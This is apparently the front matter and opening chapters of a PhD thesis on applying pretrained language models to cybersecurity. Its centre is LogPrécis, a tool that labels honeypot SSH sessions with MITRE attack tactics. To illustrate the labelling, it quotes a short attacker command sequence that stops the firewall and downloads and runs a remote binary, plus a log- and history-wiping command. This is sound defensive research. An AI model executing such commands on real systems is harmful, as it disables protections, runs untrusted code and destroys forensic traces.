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Abstract

This thesis explores the intersection of AI and cybersecurity at a time of unprece-

dented technological acceleration. As AI reshapes expectations and capabilities,

cyberattacks are also becoming faster, more sophisticated, and widespread. The

risk of outpacing security experts is real and demands innovative solutions. In this

context, modern AI models, with Large Language Models (LLMs) spearheading,

offer a promising path forward.

The first part of this thesis focuses on automated analysis of cybersecurity logs.

Although vast amounts of log data can be collected effortlessly, extracting actionable

insights – such as identifying patterns across logs or detecting critical events –

remains a significant challenge.

I start with SSH attack logs and introduce LogPrécis, a tool that utilizes pre-

trained models to identify attackers’ intents by mapping SSH session data to MITRE

attack classes. Collected from multiple honeypot deployments, this approach enables

LogPrécis to significantly enhance security analysis. Specifically, it automatically

reduces more than 400,000 unique SSH sessions to approximately 2,000 representa-

tive attack fingerprints, allowing security experts to efficiently track the evolution

of the attack, compare incidents between deployments, and gain deeper insight into

SSH threats.

Next, I analyse a real-world firewall deployment featuring a vast and highly

diverse log dataset—approximately 2 million entries spanning 232 applications. To

tackle this complexity, I developed a hybrid system that combines specialized small

models with LLMs. The LLM synthesizes multiple data sources – including raw

alerts, external threat intelligence, and predicted risk assessments – to deliver tailored

support to security experts, particularly for logs associated with high-risk threats.

In the second part of the thesis, I explore key open challenges that still hinder the

widespread adoption of LLMs in cybersecurity.



vi

Specifically, in the framework of encrypted traffic classification, I highlight the

risks of over-reliance on pre-trained models (LLM and Computer Vision style),

showing how they can easily exploit spurious correlations in security data – such as

recurring domain names or packet sequence numbers – leading to deceptively high

performance (up to +70% accuracy). This critical flaw has even impacted studies

published in top-tier conferences.

Finally, I tackle the challenge of constrained generation, i.e., to ensure that the

model generates valid answers with respect to given constraints (e.g., output format

must be a JSON format). This is a critical factor for the practical deployment of LLMs

in real-world scenarios. I demonstrate that the performance of current standalone

LLM solutions – regardless of model size or architecture – significantly declines as

the number of constraints increases, with accuracy dropping up to -30%. In contrast,

the proposed solution, that leverages a small and dedicated support-model, FoCusNet,

maintains robust performance, achieving a +10% accuracy improvement over the

best baseline and paving the way for more reliable and constraint-aware LLMs in

real-world applications.
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Chapter 1

Cybersecurity, AI, Position of the

Thesis

What is cybersecurity? According to IBM, cybersecurity is the set of practices and

technologies that security experts implement to protect digital systems [3].

1.1 Cybersecurity Challenges In Today’s Landscape

Getting bigger - Broader networks expand the attacking surface. As cyberse-

curity defends digital systems, more extensive networks naturally come with more

cybersecurity concerns. Hence, a first fact of today’s landscape: in recent years, the

growth of Internet-facing systems (e.g., mobile devices, the cloud, and the Internet of

Things) has been relentless and massive. Cybersecurity Ventures predicts 7.5 billion

connected users in 2030 [4], which means that 90% of the projected world population

will have access to the Web. The number of connected users was 6 billion in 2022

(+25% increase), 4.4 billion in 2019 (+ 70% increase) and 2 billion in 2015 (+275%

increase) [5]. Furthermore, with an estimated 3.6 connected devices per capita,

Cisco predicts 29.3 billion networked devices by 2023, half of them communicating

only with other machines (i.e., Machine-to-Machine communications) [6].

Although, on the bright side, this expansion paved the way for a data-driven

revolution and increased the number of digital services, it also massively expanded

the attack surface with possibly new targets [4]. PaloAlto Networks described the
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job of security experts as “Sisyphean struggle”, as “anyone familiar with the work

of the cybersecurity industry knows how often we face information overload” [7].

Security Operation Centers (SOCs) – units within an organization responsible for

monitoring, detecting, analysing, and responding to cybersecurity threats in real time

– face significant challenges due to security tools generating an overwhelming 99%

false positive (FP) rate [8, 9]. This excessive volume of false alerts wastes human

verification efforts and, in the worst case, diverts attention away from real threats.

In monetary terms, Esentire reports that cybercrime will cost the world 9.5 trillion

dollars in 2024, with a +15% growth over the previous year [10]. Compared to real-

world economies, it would be the third largest after the United States and China. In

addition, IBM estimated the average cost of a data breach to be 4.88 million dollars

(+10% over 2023)1.

To cope with this expansion, technology becomes a crucial component in support-

ing the task of experts, alleviating the burden of work when possible while allowing

experts to focus on the most relevant events.

Getting faster - Modern cyber-attacks call for short response time. While tech-

nology is a valuable asset for defenders, attackers also leverage machines to increase

their speed and scale. In 2023, Palo Alto Networks reported that high-profile com-

mon vulnerabilities and exposures (CVEs) are rapidly adopted and exploited after

their public disclosure [11]. In 2024, Palo Alto’s experts also provided a clearer

quantification of this trend, measuring the median time between a successful system

compromise and an active subtraction of private information (i.e., attack’s exfiltra-

tion): 9 days in 2022, only 2 days in 2024 [7]. Similarly, Crowdstrike estimated

a 25% reduction in the average time between initial access and lateral movement

by additional attackers, dropping to 62 minutes in 2024 compared to 2023 [12].

Interestingly, both firms agree on the same recommendation: organizations must

enhance their response capabilities to act more quickly.

In summary, the aforementioned cat-and-mouse game is today in full swing, with

faster exploitations calling for more advanced tools reducing the defenders’ reaction

times.

Getting complex and stealthy - Advance threats challenge traditional systems.

To complete the picture, the stealthiness and complexity of the attacks also increased

1https://www.ibm.com/reports/data-breach
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with their speed. According to Microsoft’s security report, in 2015, there were nine

Mitre categories to categorize the high-level strategic objectives that an adversary

aims to achieve during a cyberattack (i.e., tactics): in 2024, due to attackers’ more

sophisticated patterns, this number increased to 14 [13]. Furthermore, Crowdstrike

has reported an 60% increase in the so-called hands-on-keyboard attacks, where

attackers bypass fully automated scripts and instead actively code to remain stealthy

and avoid detection by simple fingerprint-based methods [12]. Eventually, this aligns

with the recent increase in Living Off the Land (LOTL) attacks, where hackers exploit

the legitimate tools and features already present in the target system to carry out their

attacks without triggering alarms [14].

In conclusion, as cyberattacks become more sophisticated, cybersecurity systems

must evolve accordingly. Detecting modern threats requires more than static finger-

printing strategies or predefined rules. Instead, effective cybersecurity monitoring

should adopt dynamic approaches that leverage contextual information – such as user

behaviour and typical system usage – to improve the interpretation of collected logs.

In addition, next-generation systems must be able to automatically link emerging

threats to past attacks, allowing experts to identify both recurring and novel patterns.

As highlighted in the Microsoft 2024 report, future cybersecurity solutions will rely

on “dynamic context understanding” and “tailored responses” to effectively counter

these evolving threats [13].

1.2 AI-Powered Solutions for Modern Cyber Threats

The AI Revolution: Current Impact and Future Horizons. Fortunately, recent

years have also witnessed the flourishing of more advanced solutions to contrast the

harshness and sophistication of cyberattacks. Among them, Artificial Intelligence

(AI) is the one that caught the most attention from researchers and the general

public2.

The terms “AI Boom” [16, 17] and “AI Spring” [18, 19] indicate an ongoing

period, started in 2010, in which research and interest in AI skyrocketed. Nature’s

report on The impact of artificial intelligence research states that the number of

2A recent study from the University of Toronto surveyed more than 23K people from 21 countries:
63% of them claimed awareness of ChatGPT, and 36% of them declared a monthly used [15]
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yearly publications related to AI peaked at 750K in 20233: it was almost 400K in

2018, and less than 100K in 2012 [20]. According to the AI Index 2024 Annual

Report [21], the performance of AI models has already surpassed humans in a range

of tasks ranging from image classification to English language understanding. AI is

projected to boost industry revenues (e.g., high tech and telecommunications) [22],

drive productivity growth in countries [23], and has been shown to enhance worker

productivity and the quality of their output [24].

Keeping with cyber defence, Microsoft’s Digital Defense Report of 2024 is

confident that the impact of AI on the security business will be “one of the most

critical uses of this technology” [13]. Accordingly, Team 42 from PaloAlto Networks

mentions AI as “a way out” of the Sisyphean struggle mentioned in Section 1.1 [7].

Eventually, IBM has already estimated the reduction in breach-related costs for

organizations that applied AI to 2.22 million dollars [3].

Deep Learning: The catalyst behind AI transformation. Researchers couple the

so-called AI boom with renewed interest in Deep Learning (DL) [18].

Providing some generic key concepts, Artificial Intelligence is a term coined in

1955 by the emeritus Stanford professor John McCarthy, who wanted to define “the

science and engineering of making intelligent machines” [25]. Today, we refer to

AI as a broad field that encompasses the development of systems or machines that

can perform tasks typically requiring human intelligence. This includes reasoning,

problem solving, understanding natural language, perception, and decision making.

Notably, AI does not necessarily require learning, as it also covers rules-based

systems or algorithms of knowledge engineering [26].

Machine Learning (ML) is a subset of AI in which learning becomes the

foundational aspect. As in Mitchell’s classic book Machine Learning: “The field

of machine learning is concerned with the question of how to construct computer

programs that automatically improve with experience” [27]. Specifically, traditional

ML models is based on recognizing data patterns: provided with a feature space

that numerically describes the problem, ML learns to distinguish classes based on

labelled examples (i.e., supervised learning), identifies clusters of points or outliers

only relying on the distribution of the data (i.e., unsupervised learning) or improves

using a reward signal (i.e., reinforcement learning) [28].

3The report also accounts for Open Access Publications
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Finally, although the adoption of AI and ML dates back to the end of the last

century - Mitchell’s textbook is dated 1997 - it was only after 2010 that, thanks

to the technological advancements on Graphical Processing Units (GPU) and the

massive amount of available data [29], the practical realization of Deep Learning

(DL) became feasible. Unlike traditional ML, DL specifically aims to mimic neuro-

logical cells using artificial neurons: By organizing these neurons into layers and

stacking multiple layers, researchers developed the foundational Neural Networks

(NN) architectures [30]. With time (and computational resources4) such NN demon-

strated unprecedented capacities. Since the advent of Language Models (LM) [33]

and the launch of ChatGPT in November 2022 [34], researchers started discussing

more and more about Artificial General Intelligence (AGI) , a more comprehensive,

context-sensitive, and versatile form of artificial intelligence, ultimately comparable

to human cognitive abilities [25] Particularly, researchers have started pondering the

question “How close are we to AGI?”[35], and have begun searching for “sparks of

AGI” [36] in modern architectures. Notice that AGI systems are required work in “a

variety of context” and should be able to “solve new problems that they did not know

about at the time of their creation” [37].

Tackling the New Cybersecurity Challenges: How AI Arms Cyber-Defenders.

To bring everything full circle, how can AI help address the critical challenges of

modern cybersecurity? In other words, what advantages does deep learning offer

that previous technologies could not? While the readers are encouraged to explore

the recent literature [38–41] for a more comprehensive discussion, I will summarise

the key research directions that I partially pursued during my Ph.D. and highlight

promising areas for future exploration. I here focus on “The Good” [41] – i.e., the

beneficial applications of AI for cybersecurity.

– Dynamic Context Understanding: With DL researchers can encode multi-

modal [42, 43] or structured information [33, 44, 45]. This means that modern AI,

while processing real-world data into numerical embeddings, can naturally account

for multiple sources of information while understanding how such sources relate to

each other. For example, consider a cybersecurity scenario in which an AI system

receives network traffic encoded in multiple languages (e.g., different protocols,

payloads, or scripts). AI can analyse both traffic content (e.g., SSH, SQL, Python

instructions) and the system’s real-time reaction (e.g., system calls, CPU usage,

4AlexNet [31], one of the first modern Neural Networks (NN) dated in 2012, had tens of millions
of neurons; today, GPT4 [32] is estimated to have hundreds of billions.
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or memory access). By combining these sources, the AI can i) detect malicious

activity and correlate it with historical attack patterns, and ii) learn how these diverse

data sources influence the system – i.e., dynamic context understanding. According

to this intuition, researchers have already committed to explorations tackling later

movements [46] and Advanced Persistent Threats [47] in enterprise networks; recog-

nition of malicious login after stolen credentials [48]; even location vulnerabilities

in source code [49, 50].

Notice that addressing the challenges involved in these problems, such as mod-

elling the time and spatial dependencies [46], accounting for the “rich contextual

information buried within provenance graphs” [47], recognising normal vs. abnor-

mal behaviour [48] or processing long and structured textual codes [49, 50] – would

be infeasible or extremely time and resources consuming with traditional rule-based

or feature engineering methods.

– Prior knowledge and generalisation to unseen scenarios: Modern AI is closer

than ever to achieving the long-standing goal of generalising to unseen scenarios.

Traditional ML primarily aims to apply the learned knowledge from the training data

to in-distribution test cases. However, modern DL – led by Language Models and

Natural Language Processing (NLP) applications – seeks to go beyond this. On the

one hand, like traditional ML, LLMs can learn from patterns in training data. On the

other hand, their self-supervised pre-training in vast datasets also equips them with

prior knowledge [51] that improves their understanding of the problem and improves

their robustness to novel situations. In particular, research has shown that, thanks

to this prior knowledge, LLMs can generalize to new data and tasks with minimal

or no labelled examples, demonstrating what are known as few-shot and zero-shot

capabilities [52, 53]. This ability is particularly valuable in cybersecurity, where

the detection and defence against emerging threats remain a significant challenge.

Recognizing these strengths, researchers have begun exploring best practices for

adapting LLMs to security tasks [54–56]. More practically, they have also tackled

domain-specific challenges, such as software vulnerability detection [57–59], cyber

intrusion detection and cyber threat identification [60, 61], network security [62, 63]

and content moderation [64].

– Tailored and Automatic Responses: Inspired by the ability of LLMs to en-

code multi-source and structured information, along with their emerging reasoning

skills [65], researchers are actively developing benchmarks and methodologies to
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evaluate and leverage LLMs as interactive experts or agents. These models can be de-

ployed as chatbots to generate tailored responses based on targeted inputs (e.g., “Can

you tell me where is the vulnerability in the following piece of code?”) – potentially

integrating external knowledge databases. More ambitiously, as autonomous agents

capable of actively interacting with their environment (e.g., “Run a penetration test

on this service and search for potential vulnerabilities”). In the context of cybersecu-

rity, recent efforts have introduced benchmarks to assess LLMs-as-agents abilities to

conduct automated penetration testing [66–68], improve methods to study and moni-

tor attacks (e.g., Honeypots) [69], identify and repair code vulnerabilities [70, 71].

Also, as interactive experts, researchers evaluated LLMs inherent Cyber Threat

Intelligence (CTI) knowledge [72], and measured their capacity to retrieve relevant

security-related information upon request [73].

Notably, several leading cybersecurity firms have already integrated LLM-

powered agents into their products, including Microsoft’s Security Copilot5, Crowd-

Strike’s Charlotte AI6, and Fortinet’s FortiAI7.

Current Pitfalls and Impediments: open challenges for a broader AI adop-

tion. Despite the optimistic narratives surrounding AI, its widespread adoption in

real-world applications – including cybersecurity – still faces significant obstacles.

While I have already discussed “The Good” aspects of AI, the survey of [41] also

highlights “The Bad” – referring to its offensive applications – and “The Ugly”,

which encompasses its current limitations and vulnerabilities. Regarding The Ugly,

real-world applications often expose serious challenges when solutions developed in

theoretical frameworks are tested in practice.

For example, one longstanding issue with deep learning systems is their lack of

interpretability, which could lead the model to focus on unintended biases if adopted

carelessly. For example, the model could make decisions based on erroneous features

– such as mistaking snow in the foreground for a key distinguishing factor when

classifying a husky versus a wolf [74] – which, however, artificially enhance the

performance of the model. In recent years, researchers have extensively studied

this form of biases in AI, both theoretically [75–77] and practically [78]. Within

cybersecurity, studies have examined how data biases impact AI performance in

5https://www.microsoft.com/en-us/security/business/ai-machine-learning/
microsoft-security-copilot

6https://www.crowdstrike.com/platform/charlotte-ai/
7https://www.fortinet.com/products/fortiai
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tasks such as phishing detection [79], intrusion detection [80], and encrypted traffic

classification [81].

Furthermore, real-world AI applications demand a high degree of control over

output [82, 83] – i.e., the model has to respect a series of constraints (e.g., “End the

sentence greeting the user”) to generate a valid answer. However, constrained gener-

ation still heavily relies on human oversight, since humans must a) select relevant

constraints that apply to the tasked problem and b) ensure that such constraints are

clearly expressed in the LLM prompt (adding few-shot examples if necessary). For

example, when using LLMs to automatically generate network configurations [84],

simply providing generic protocol documentation was not enough. The researchers

had to develop specific retrieval strategies to help the model select the right sec-

tions of documentation and allow multiple rounds of corrections to achieve accurate

results.

Also, an additional factor that can undermine the validity of a generation is

the knowledge gap in AI models regarding updates made after their pre-training

date. This issue was highlighted in AI-driven automated penetration testing [68],

where models occasionally used outdated commands that had already been patched,

resulting in failures that required human intervention to correct8. Could the model

avoid these errors if it had access to an updated manual containing the latest infor-

mation? How much human effort would be needed to guide the model in accessing

the relevant details for the ongoing penetration test?

“Fast” and “Slow” thinking – Computational Efficiency and Performance. Fi-

nally, a key practical challenge in deploying modern Language Models is their

adherence to “scaling laws” [87]: Better performance generally requires larger mod-

els. Clearly, this also restricts the widespread adoption of the most powerful models

due to computational constraints.

Although advancements in hardware (e.g., GPUs) and software optimizations

(e.g., KV-cache [88], speculative decoding [89]) alongside model distillation tech-

niques [90] (i.e., transferring knowledge from larger models to smaller ones) will

8Notice that such failures are actually the preferable outcome in these scenarios. Successful and
silent execution of outdated commands could inadvertently expose systems to serious vulnerabili-
ties [85, 86]
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help mitigate these limitations9, we argue that the most efficient way to deploy LLMs

aligns with Daniel Kahneman’s “Fast” and “Slow” thinking framework for human

cognition [92].

Specifically, we envision an AI ecosystem where smaller, specialized models

work alongside larger, more powerful ones. The smaller models handle rapid, ap-

proximate decisions, structuring raw and noisy data into more digestible information

and prioritizing critical events (e.g., anomalies) for security experts. These models

are not expected to perform deep analysis or complex reasoning in real time, while

they can already. Instead, after identifying a subset of “relevant” events, a larger,

“Slow Thinker” model can be employed for “post-mortem” analysis – i.e., examining

incidents after they have occurred – to better understand attacks and improve security

measures.

1.3 Position and contributions of the thesis

Position of the thesis. My PhD journey has been deeply coupled with the rapid

evolution of AI. When I began my research, pre-trained models like BERT had

already demonstrated their effectiveness beyond NLP applications. In my second

year, the release of ChatGPT marked the beginning of the Foundation Model era,

dramatically raising expectations about what these technologies could achieve and

making the once impossible feel within reach.

This thesis represents an effort to embrace the excitement and rapid advancements

in AI while maintaining the rigorous and systematic approach necessary to address

real-world challenges.

My close collaboration with industry partners (e.g., Huawei) has provided me

with a practical perspective and motivated me to integrate AI techniques into effective

tools that facilitate and automate the analysis performed by security experts, all while

ensuring interpretability and balancing the use of Fast and Slow solutions.

Also, I did not explore LLMs merely because of their popularity, but because I

recognized their potential to offer better solutions to emerging cybersecurity prob-

9The recent experience of the DeepSeek’s R1 model – even with some controversy between claims
and factual realisation [91]– proves that there are “cheaper” and resource-saving ways to achieve
SOA performance
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lems. Whenever I adopted new technologies, I always took the time to carefully study

them – a mindset validated by my recent internship with leading methodological

researchers. Moreover, whenever a proposal succeeded, my first thought was always:

“Why does it work?”. Rather than accepting positive results at face value, I sought to

understand them – sometimes realizing that current LLMs are not a one-size-fits-all

solution.

In essence, my contributions lie at the intersection of real-world applications,

focused on solving problems that previous methods could not tackle while ensuring

interpretability and usability, and theoretical insights, taking a step back to see the

bigger picture – especially when “The Ugly” challenges arose.

As a side note, the field is advancing at an extraordinary pace. The promise

of LLMs is constantly reinforced by groundbreaking results and evolving theories.

For those trying to keep up, it often feels as though “all that is solid melts into

air” [1]. Research ages rapidly – findings that seemed robust yesterday can feel

obsolete within days. This phenomenon extends beyond the specific contributions of

this thesis, which I am proud of, and reflects the broader experience of conducting

research in the era of Large Language Models.

Contributions and roadmap of the thesis. In this thesis, I to give equal emphasis

to both the practical and theoretical aspects of my academic journey.

Specifically, in the first two chapters, I focus primarily on the automatic analysis

of cybersecurity logs. This is a topic of vital importance in today’s effort to relieve

the security experts from the Sisyphean overload of information. Here, the under-

lying goals are to organise the plain logs in a way that highlights relevant patterns

(e.g., highlighting the semantic similarities of similar attacks), and pinpoint events

requiring further investigation (e.g., a novel attack that was never observed in the

past).

In Chapter 2, I explore a scenario involving SSH log data gathered through

Honeypots – decoy systems that replicate vulnerable services to observe and analyse

attackers’ behaviour. This approach offers insights into emerging attack patterns,

helping develop proactive defence strategies. I introduce LogPrécis, a tool built on

pre-trained language models, which analyses SSH sessions by extracting sequences

of attacker MITRE intents (e.g., Discovery,’ Execution’). By comparing these se-

quences across sessions, LogPrécis aids security experts in: i) tracking the evolution

of known attacks, ii) comparing incidents across different deployments, and iii)
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enhancing the characterization of SSH threats. Also, LogPrecis is an example of

Fast Thinker: as I will demonstrate, its analysis is lean, can “scale” with the number

of logs, and already provides instrumental analysis for the security experts.

In Chapter 3, I present my research during a five-month internship at Huawei

Technologies France. Here, I focus on processing malicious alerts from company

firewalls to assess their risk level and prioritize them for further analysis. Working

with large, diverse, and noisy datasets, I combined small, specialized models (fast

thinkers) with Large Language Models (slow thinkers) to develop a system where

an LLM processes various data sources – raw data, external threat intelligence (for

example, cyber threat intelligence, CTI), and risk classification of the specialized

model. This setup allows the LLM to streamline interactions with security experts,

improving their efficiency to analyse and respond to potential attacks.

In the second part of the thesis, I leverage the “lessons learned” experiencing

LLMs in real-world scenarios to better expose and tackle their current limitations.

Specifically, realising that pretrained models like LLMs are extremely good at

learning from simple yet non-generalizable patterns in the data (e.g., recurring do-

main names always situationally associated with specific attack types) that artificially

boost their performance, in Chapter 4 I present a dedicated study on the phenomenon

in the framework of network traffic classification. Here, I thoughtfully analyse

how these unintended biases impact model performance and show how carelessly

ignoring such shortcuts can lead to significantly overestimate model goodness even

in studies accepted at major conferences.

Lastly, in Chapter 5, I introduce my latest work that I developed during a six-

month internship at the University of Urbana Champaign. This work introduces a

novel constrained generation problem, where the model must adhere to hundreds

of simple yet specific constraints, such as avoiding a large set of forbidden words.

This scenario simulates a situation where human input is limited, and the LLM

must automatically identify relevant constraints from a large set. We face a simple

word-checking task to isolate the impact of increasing constraints on performance

while limiting the complex reasoning that LLMs usually require. This approach

allows us to systematically assess model performance as the number of forbidden

words increases. Surprisingly, experiments show that existing solutions – regardless

of model size (ranging from 8B to 70B parameters), model family (from Meta’s

Llama to Deepseek’s latest R1), or performance-enhancing techniques – experience
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a significant accuracy drop of around -30% as the number of constraints grows. To

address this, we introduce FoCusNet, a potential mitigation involving the support of

a small dedicated model that delivers the most robust performance (+10% accuracy

over the best baseline).
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Chapter 2

Pretrained Language Models for

Malicious Log Analysis: LogPrécis

In this chapter, I present the following article: Boffa, Matteo, et al. “LogPrécis:

Unleashing language models for automated malicious log analysis: Précis: A

concise summary of essential points, statements, or facts.” Computers & Security

141 (2024): 103805.

LogPrécis is a BERT-style pre-trained model, fine-tuned to identify the MITRE

tactics employed by an attacker attempting to compromise a service in the framework

of SSH-based logs. This approach directly processes raw log data, allowing for great

adaptability across different environments. Moreover, LogPrécis assigns a prediction

to each individual statement (i.e., sub-portion of a SSH session), allowing security

experts to perform a granular analysis of individual logs while considering the

specific context in which each statement appears. In addition, prediction sequences

can be used as fingerprints for a effective comparisons with other entries in the

collection.

2.1 Introduction

For security analysts, threat intelligence officers, and forensic teams, extracting

meaningful insights from security logs – often in text format – remains a signifi-

cant challenge [93]. While data collection can be easily automated, parsing these
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often unclear and malformed logs is a time-consuming and error-prone task [78].

Moreover, attackers frequently employ evasion tactics to bypass traditional security

measures, which typically rely on pattern matching and blocklisting. As threats

continuously evolve, maintaining these static rules requires costly updates and spe-

cialized expertise.

The rise of Language Models (LMs) and Pre-trained Language Models (PLMs)

is revolutionising the landscape of automated text analysis [94]. Thanks to a pre-

training phase on massive corpora, PLMs can learn how humans encode information

into text and attain unprecedented capabilities in understanding natural and computer

languages. Using this knowledge, PLMs promise to solve tasks such as classi-

fication, decision-making, automatic translation, code auto-completion, and chat

applications [95, 96].

In this chapter, I investigate whether and how PLMs can be integrated into the

security analysis pipeline. Excited by the success of PLM in NLP applications, we

envision a future where PLMs process raw security logs, discern hidden patterns, and

provide instrumental support to ease the analysis of security experts. We consider this

integration to be both beneficial and, given the trajectory of the NLP field, inevitable:

PLM can (and will) play a pivotal role in assisting analysts in tasks such as threat

classification, novelty detection, and malicious behaviour identification.

Despite their potential, applying pretrained language models (PLMs) to cyberse-

curity log analysis raises several critical questions [96–98].

First, since no existing PLMs have been specifically trained on security logs, it

remains uncertain whether models pre-trained on natural language and legitimate

code can effectively process malicious logs.1

Second, the impact of fine-tuning PLMs on security logs is unclear. It is uncertain

whether retraining these models enhances their ability to analyze logs or inadvertently

degrades their previously acquired knowledge. Likewise, it is unknown whether

training a model from scratch on security logs would yield comparable results to

fine-tuning an existing PLM.

1At https://huggingface.co/learn/nlp-course/chapter7/3?fw=pt, Hugging Face researchers
highlight that even specialized domains such as scientific articles or legal contracts can
significantly degrade the performance of models trained on general natural language.
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Third, selecting the most suitable PLM is non-trivial. Large and expensive

models, such as those in the GPT family [95, 36], may not necessarily outperform

smaller, more cost-effective alternatives in this context.

Lastly, there is no universally accepted benchmark or standardized set of tasks to

evaluate the effectiveness of PLM-based log analysis systems, further complicating

their adoption.

These questions form the foundation of this chapter’s investigation. We propose

LogPrécis, a tool designed to automatically parse and analyse text-like malicious

shell logs. Using the representation power of PLM, we engineered LogPrécis to map

the raw shell scripts into intermediate representations encapsulating the underlying

objectives of an attacker. Here, we utilise the MITRE ATT&CK Tactics [99] as

a guiding framework to capture the “whys” of an attack. For example, in the ses-

sion iptables stop; wget http://1.1.1.1/exec; chmod 777 exec; ./exec the

attacker first Impacts the system stopping its firewall, and then downloads and Exe-

cutes a malicious code. We train LogPrécis to automatically reconstruct the sequence

of tactics that appear in a given shell log. For this, we build on the few-shot learning

capabilities of PLMs [95] and fine-tune them through a minimal set of 360 labelled

sessions.

At inference, LogPrécis labels each term of a session, resulting in sequence of

tactics that becomes our attack fingerprint. This fingerprint is an effective high-

level abstraction that substantially simplifies the analyst’s tasks. To demonstrate

this, we apply LogPrécis to label all sessions contained in two extensive datasets

encompassing years of honeypot logs. LogPrécis reduces nearly 400,000 unique

script samples to fewer than 3,000 distinct fingerprints. These fingerprints offer three

main advantages: i) they significantly aid analysts in forensic analysis by simplifying

the understanding of the attacks, ii) they enhance the detection of novel attacks over

time, and iii) they provide insights into the origins and patterns of attack families.

Although our focus is on Unix shell scripts harvested from honeypot logs, the

principles and techniques we develop are flexible and adaptable. The methodology

presented in this chapted can be extended to other types of logs, thereby expanding



18 Pretrained Language Models for Malicious Log Analysis: LogPrécis

the scope of LogPrécis. For this, the model and the labelled dataset are made

available to the community to serve as a benchmark for future research efforts.2

2.2 Background and Related Work

2.2.1 Language Models

Language Models (LM) are used for processing textual data. Research moved from

simple statistical techniques to estimate the probability of word sequences to models

exploiting deep neural architectures [94, 100, 101]. In the following, I recap the

main background concepts related to LM.

• Transformer: The transformer architecture [33] finds widespread use in state-

of-the-art PLMs. The key feature of Transformers is the ability to factor in the

context in which a word appears thanks to the attention mechanism. In general,

such an ability allows the model to improve its performance in text-related tasks by

selectively focusing on specific and salient parts of the input text [100, 94]. This

serves the dual purpose of i) contextualising and better understanding the entire

sentence and ii) inferring the meaning of uncommon or new words based on their

contexts, akin to those of known words. For example, in the analysis of the log rm

var./log; history -c ;, the PLM can i) focus on the word var./log to understand

that the attacker is using rm to erase its traces (Defense Evasion) and ii) infer that the

parameter -c, though unfamiliar, has a similar impact on the history.

• Pre-trained Language Models (PLMs): PLMs form an important subset of

LMs. PLMs [102] are trained in a self-supervised fashion using extensive amounts

of unlabelled text data3. This training approach enables the models to grasp intricate

relationships that capture the nuances present in languages. Also, pre-training

serves as the “secret weapon” of language models compared to earlier architectures.

By leveraging large-scale pre-training, PLMs acquire extensive prior knowledge

across diverse domains, with the depth and breadth of this knowledge increasing

as the training corpus expands. For example, in the context of shell logs, a well-

2The models are available on HuggingFace at https://huggingface.co/SmartDataPolito, while
the corresponding code and data are accessible on GitHub at https://github.com/SmartData-Polito/
logprecis.

3According to https://www.semianalysis.com/p/gpt-4-architecture-infrastructure, the estimated
pre-training corpus for GPT-4 comprehends ∼ 13T tokens, the equivalent of reading ∼ 17M Bibles
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pretrained model may have gained expertise by learning from both the man pages

(i.e., documentation) of UNIX commands and, ideally, descriptions of known shell

attacks along with their explanations.

Recent models have millions (e.g., BERT [102], CodeBert [103]) or even billions

(e.g, GPT-3 [95], GPT-4 [36]) of parameters. They are trained on terabytes of text,

requiring humongous resources [104]. Consequently, these models are pre-trained

once. Later, they can be used to solve specialised problems (called downstream

tasks), without re-training them from scratch, but only fine-tuning on a few labelled

samples. PLMs with billions of trainable parameters are called Large Language

Models (LLM). They are the basis for the success of applications such as ChatGPT.

• Domain Adaptation: In NLP, it is an approach adopted when the specialised

problem contains linguistic properties that differ from those of the pre-training

corpus (e.g., task-specific lexicon or language) [105]. Through domain adaptation,

the prior knowledge of a pre-trained model is aligned to some new data distribution

(i.e., specific language) via a few training epochs. For example, domain adaptation

helps the model to better understand that, in the downstream task, the word cat

will refer to the UNIX command and not to the animal. Compared with the initial

pre-training step, domain adaptation is less expensive and requires less data and

processing time. This step is performed on the same self-supervised tasks the PLM

was originally trained on and, still, no labels are required. Ultimately, the efficacy

of domain adaptation’s alignment is contingent on whether the new meanings align

with the model’s prior knowledge. If the model has never encountered the word or

something contextually akin to the word cat during pre-training, the alignment may

prove unsuccessful.

• Fine-tuning and Few-shot Learning: PLMs and LLMs can be used to solve

a wide range of specialized problems, often called downstream tasks. Common

classification and generation tasks include sentiment analysis, machine translation,

text summarisation, and named entity recognition. When solving a classification

task, fine-tuning is a supervised learning step that takes advantage of a labelled

dataset. Since PLMs already have broad generic knowledge, fine-tuning is typically

done in a few-shot learning manner [106], where limited (typically hundreds or

thousands) labelled samples are required to quickly adapt the PLM to the specific

task. Fine-tuning is less expensive than the original training. This is a great advantage
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compared to specific architectures that must be trained from scratch, often requiring

huge amounts of labelled data and training resources.

• Tokenizer: From a technical point of view, the tokenizer processes the input

text before feeding it to the PLM. The tokenizer is model-specific: its goal is to split

the input text and efficiently encode it in a way that the model understands [107].

Naive tokenizers split the text into words based on spaces or punctuation; more

sophisticated tokenizers work at the subword level handling complex morphology

and out-of-vocabulary words by breaking them into smaller units.

In summary, PLMs can serve as powerful tools for processing textual input.

Ideally, these models undergo a one-time pre-training on extensive data; they can

be subsequently adapted to specific domains, and eventually fine-tuned for specific

tasks with limited data and effort. However, two challenges emerge in our context: it

is not clear whether any language model was pre-trained on any/enough UNIX shell

logs to grasp some useful prior knowledge about it; And the uncertainty regarding

the effectiveness of adapting generic LM pre-trained on natural or code languages to

our malicious language case.

2.2.2 Related Work

The study presented in this chapter is, to the best of our knowledge, the first to

systematically take advantage of the power of PLM for the direct analysis of shell

attack logs.

In [108], authors leverage NLP algorithms on honeypot command logs to clus-

ter IP addresses aiming at botnet detection. In our previous work [109] we used

Word2Vec (W2V) to learn representations from honeypot logs. Others follow similar

ideas [110, 111] applying different algorithms to learn representations, e.g., from

network data. However, all these works are limited to classical NLP approaches such

as W2V, which, as we will show, are unable to capture the contextual information

needed to classify complex shell logs.

Authors of [112] fine-tune PLMs to convert from natural language instructions

to bash commands. Our work goes in the opposite direction, as we focus on learning

how to give explanations (i.e., sequence of tactics) from shell logs.



2.2 Background and Related Work 21

PLMs have been used in the security context, for example, in [113, 98, 114].

These efforts, however, target problems, such as the binary function similarity

problem or reverse engineering, that are orthogonal to ours. The authors of [115]

use GPT-2C to process honeypot shell logs to identify commands, that is, they use

GPT as a simple parser.

Honeypots have been used in security activities for years, with multiple well-

established, open-source projects available, such as Cowrie [116] (used to capture

data for our analysis) and TPot [117]. Previous efforts in honeypot research covered

many angles including i) practical aspects of using outdated honeypots [118], ii) the

application of data mining to analyse collected data [119], iii) the study of adversarial

behaviour and tactics [120] using traditional machine learning approaches. We

consider honeypot logs as a data source to illustrate the power of LogPrécis in real

scenarios. We show that simplistic language models are not sufficient in such a

scenario and advocate that the PLM approach is generic and can be used to assist

security analysts in problems sharing similar properties.

The closest to the current work is LogPPT [97], a method to parse logs using

few-shot learning that extracts structured information from software logs. LogPPT,

